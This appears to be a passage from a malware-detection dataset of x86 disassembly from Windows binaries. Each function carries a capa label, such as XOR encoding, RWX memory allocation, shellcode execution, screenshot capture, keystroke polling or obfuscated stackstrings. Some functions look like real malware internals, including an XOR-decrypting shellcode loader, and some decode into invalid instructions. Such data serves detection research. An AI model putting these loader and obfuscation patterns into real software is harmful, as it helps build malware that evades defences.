joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100aab70
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d3ecb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x100e400c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1010e8e8]
mov dword [ebp - 0x38], ecx
test al, 1
jne 0x100aaccb
or eax, 1
mov dword [0x1010e8e8], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x100d9a30]
pxor xmm0, xmmword [0x100d9700]
mov dword [ebp - 0x20], 0x9282f192
mov dword [ebp - 0x1c], 0x8392f482
mov dword [ebp - 0x18], 0x848a9283
mov byte [ebp - 0x14], 0xb2
movups xmmword [ebp - 0x30], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x30], 0xb2
inc eax
cmp eax, 0x1d
jb 0x100aac00
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100aac23
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.10020d70
mov byte [ebp - 4], 1
mov edx, dword [0x101097bc]
test edx, edx
je 0x100aac4c
mov edx, dword [edx + 0x50]
jmp 0x100aac4e
xor edx, edx
mov eax, dword [0x101097b4]
test eax, eax
je 0x100aac5c
mov eax, dword [eax + 0x18]
jmp 0x100aac5e
xor eax, eax
lea ecx, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.1001a9d0
mov eax, dword [ebp - 0x34]
add esp, 8
test eax, eax
je 0x100aac85
mov ecx, dword [eax + 1]
test ecx, ecx
jne 0x100aac80
xor eax, eax
jmp 0x100aac85
add eax, 5
add eax, ecx
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x3c]
mov dword [0x1010e8ec], eax
cmp edx, 0x10
jb 0x100aacc4
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100aacba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100aacba
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.100cb8a7
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [0x1010e8ec], 0
je 0x100aace9
push 0
mov ecx, dword [ebp - 0x38]
movss xmm1, dword [ebx + 0xc]
movss xmm2, dword [ebx + 8]
call dword [0x1010e8ec]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x100bb8e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d466d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x100e400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x10109868]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x14]
cmp dword [0x100f6e58], 4
jne 0x100bb949
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x10109810]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x1010e904], 0
jne 0x100bba7c
movaps xmm0, xmmword [0x100d9690]
xor eax, eax
movaps xmm2, xmmword [0x100d9a30]
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x1c], 0xf1f4
movaps xmm0, xmmword [0x100d99a0]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x1a], 0xb2
nop
movups xmm0, xmmword [ebp + eax - 0x3c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x3c], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100bb980
cmp eax, 0x23
jae 0x100bb9ab
nop
xor byte [ebp + eax - 0x3c], 0xb2
inc eax
cmp eax, 0x23
jb 0x100bb9a0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100bb9c3
sub ecx, edx
lea eax, [ebp - 0x3c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.10020d70
mov dword [ebp - 4], 0
mov edx, dword [0x101097c8]
test edx, edx
je 0x100bb9ef
mov edx, dword [edx + 0x50]
jmp 0x100bb9f1
xor edx, edx
mov eax, dword [0x101097c0]
test eax, eax
je 0x100bb9ff
mov eax, dword [eax + 0x18]
jmp 0x100bba01
xor eax, eax
lea ecx, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10043660
mov edi, dword [ebp - 0x18]
add esp, 8
mov edx, dword [ebp - 0x40]
inc edi
cmp edx, 0x10
jb 0x100bba4b
mov ecx, dword [ebp - 0x54]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100bba41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100bba41
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.100cb8a7
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x1010e904], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100cb429
mov esp, ebp
pop ebp
ret
Function at 0x425d8c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x425da8
cmp dword [esi + 4], 0
je 0x425dd5
test byte [ebx + 0x45], 1
jne 0x425dc7
mov eax, ebx
call fcn.00424dfc
test eax, eax
jne 0x425dc7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x425ee5
mov edx, esi
mov eax, ebx
call fcn.00425a04
jmp 0x425ee5
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x425ede
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00427c78
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00422f50
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00425d8c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00427c78
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x425ee5
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e694
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
wait
xor eax, 0x349c45c6
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0042e2cc
push eax
push esi
push dword [ebp + 8]
call fcn.0042e281
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0042e2cc
push eax
push esi
push dword [ebp + 8]
call fcn.0042e281
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0042e2bc
mov edx, 0x88d6d8f9
popfd
jl 0x42e741
invalid
invalid

Function at 0x42f760
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop esp
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0042e2bc
lahf
mov dl, 0x36
in al, dx
lea eax, [ebp - 0x72c]
push eax
call fcn.0042e2cc
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0042e281
add esp, 0xc
mov dword [ebp - 0x6e4], eax
call fcn.0042e2bc
in al, 0x38
mov byte [0xe8858d3a], al
clc
invalid

Function at 0x43561c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4427d4
cmp dword [edi], 0
jne 0x435698
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4427d0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44181c
mov ecx, 2
call fcn.004027b0
mov edx, 0x4355f4
lea eax, [esi + 5]
call fcn.00435614
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00435614
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43566d
mov dword [0x4427d0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4357bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x43580c]
test si, 4
je 0x4357d0
or bl, 1
test si, 8
je 0x4357da
or bl, 4
test si, 1
je 0x4357e4
or bl, 8
test si, 2
je 0x4357ee
or bl, 0x10
test si, 0x10
je 0x4357f8
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x435807
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x435810
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x435848]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x435829
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x435838
or bl, 4
test esi, 0x20000000
je 0x435843
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x100094d7
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov esi, eax
pop ecx
test esi, esi
je 0x1000952a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push 0xa
and dword [eax], 0
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
add esp, 0xc
mov esi, eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0
jne 0x10009521
mov ecx, dword [ebp - 4]
cmp byte [ecx], 0
jne 0x10009521
mov eax, esi
jmp 0x1000952d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
and dword [eax], 0
mov eax, dword [ebp + 0xc]
pop esi
leave
ret

Function at 0x1000a1a9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000a1b8
pop dword [ebp - 0x20]
mov eax, 0x35ea918e
add eax, 0xda16102a
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xcac39d98
sub dword [ebp - 0x30], 0x7c71584d
mov dword [ebp - 0x2c], 0x46627f29
sub dword [ebp - 0x2c], 0x142f32e4
mov dword [ebp - 0x28], 0x6b16a379
add dword [ebp - 0x28], 0xe135a0b5
mov dword [ebp - 0x24], 0x4cbd3fab
sub dword [ebp - 0x24], 0x4cbd3fab
lea eax, [ebp - 0x30]
push eax
mov eax, 0x89bc4aa5
sub eax, 0x79baaa9d
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x6c362d1a
add dword [ebp - 0x30], 0x83c3c3c
mov dword [ebp - 0x2c], 0x7b4c580a
add dword [ebp - 0x2c], 0xc620096b
mov dword [ebp - 0x28], 0x34b115d0
add dword [ebp - 0x28], 0x2ebe569c
mov dword [ebp - 0x24], 0xd4d0228
sub dword [ebp - 0x24], 0xd4d0228
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3cc33
push 0
call eax
mov ecx, 0x351f05f1
add ecx, 0xcae14c00
xor edx, edx
add edx, eax
mov ebx, 0xc9d78f31
add ebx, 0x462abacf
add ebx, dword [ebp - 0x20]
mov esi, 0xc863c2dc
sub esi, 0xe1dc511c
xor dword [ebp - 4], 0x9cef719b
mov edi, dword [ebx]
add dword [ebp - 0x1c], 0xf3fbd76f
sub edi, esi
xor dword [ebp - 0x14], ebx
mov dword [edx], edi
sub dword [ebp - 0x10], esi
add edx, 0x5878f81a
add edx, 0xa78707ea
add ebx, 0xe814ae51
add ebx, 0x17eb51b3
loop 0x1000a2d7
add eax, 0x13a97
mov ebx, eax
add eax, 0x16637001
add eax, 0xe99c9004
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401ad4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x405028]
jne 0x401ade
repz ret
jmp fcn.00401ffe
Function at 0x403104
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x417008], 0x8088405
inc edx
mov dword [ebx + 0x417008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40da63
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404ac0
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call fcn.00406a9c
mov edi, eax
cmp edi, 0x104
jbe 0x40da86
mov eax, edi
add eax, eax
call fcn.00402e24
mov esi, eax
jmp 0x40da88
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call fcn.00406a9c
push edi
push esi
call fcn.00406b34
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40dac1
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40daab
mov eax, esp
cmp esi, eax
je 0x40dace
mov eax, esi
call fcn.00402e40
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40db08
cmp bl, 0
je 0x40db04
cmp bl, 0x41
jl 0x40daff
cmp bl, 0x5a
jg 0x40daff
or bl, 0x20
xor al, bl
inc esi
jmp 0x40dae3
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40da48

Function at 0x40f6e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x41cd98
mov eax, esi
mov edx, 8
test al, 1
je 0x40f700
shr eax, 1
xor eax, 0xedb88320
jmp 0x40f702
shr eax, 1
dec edx
jne 0x40f6f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40f6ec
pop esi
ret

Function at 0x40f72f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x41cd94], 0
jne 0x40f73b
call fcn.0040f6e4
push 1
push 0x41cd94
call fcn.00406948
mov eax, edi
test esi, esi
je 0x40f766
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x41cd98]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40f741
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x10017553
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x1001758e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10017575
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x10017586
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x10017590
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1001756b
invalid
xor eax, eax
pop edi
pop esi
ret

Function at 0x1001778d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
faddp st(6)
inc ebp
mov cl, 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.10017513
in al, dx
xchg esp, eax
mov esi, 0xa8458de4
push eax
call fcn.10017523
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.100174d8
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x10017801
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.10017513
push ss
pop edx
mov word [ebp - 0x17af3fbb], cs
invalid
Function at 0x10017871
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.10017513
mov bl, 0x86
jbe 0x100178e7
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.10017523
push eax
push esi
push dword [ebp + 8]
call fcn.100174d8
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
inc ebp
lcall 0xc635, 0x9b45c633
inc ebp
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.10017523
push eax
push esi
push dword [ebp + 8]
call fcn.100174d8
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b

Function at 0x100179b2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
Function at 0x100181c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.10017513
or al, 0x94
inc eax
adc byte [eax + 4], ch
add dword [eax], eax
add byte [ebp - 0x3337b], cl
call dword [eax - 1]
jne 0x100181dc
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x10018207
push 0xc6fffffc
test dword [edx + edi*8 - 0x7cfe0001], edi
mov ebp, 0xfffffc68
add byte [edi + edx - 0x7d], dh
mov ebp, 0xfffffc68
add byte [edi], cl
test ah, dl
add dword [eax], eax
add byte [ebx + 0xf010c7d], al
test dl, cl
add dword [eax], eax
add byte [ebx + 0xf080c7d], al
test dword [eax - 0x7fffffff], ecx
movsd dword es:[edi], dword [esi]
dec eax
stc
invalid
cmp dword [ebp - 0x398], 0
je 0x100183d1
cmp dword [ebp + 0xc], 1
je 0x100183d1
cmp dword [ebp + 0xc], 8
jne 0x10018399
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.10017523
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100174d8
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.10017513
pop es
add eax, 0xb5ffe266
push 0x8dfffff9
test dword [eax - 7], eax
invalid
call fcn.10017513
dec ecx
or eax, dword [ebx]
push esi
and byte [ebp - 0x544], 0
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.10017513
or dh, dh
cmpsd dword [esi], dword es:[edi]
dec ecx
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]